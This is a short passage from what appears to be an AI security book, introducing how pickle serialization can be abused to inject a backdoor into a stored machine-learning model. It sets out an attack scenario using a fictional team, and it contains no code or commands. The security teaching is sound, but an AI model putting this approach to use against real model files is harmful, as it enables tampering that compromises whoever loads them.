Injecting backdoors using pickle serialization
We talked about pickle serialization and the dangers it brings to malicious code execution in Chapter 3. In this section, we will examine how it can be used to inject a backdoor. We will see a simple hands-on approach of how to inject malicious code into a model stored using the pickle format.
Attack scenario
We will use a scenario where the attacker cannot rely on data poisoning. This can be for several reasons, such as lack of access to data, or the team may have recently implemented a good suite of data anomaly detection.
Similarly, they may have easier access to the deployed model, which they can alter without detection or take advantage of a team’s decision to move to the pickle format.
Pickle is known for its vulnerabilities, and Keras – among others—recommends against using it. Nevertheless, it remains a popular choice. Let’s assume the ImReCs team is also developing other models using PyTorch...
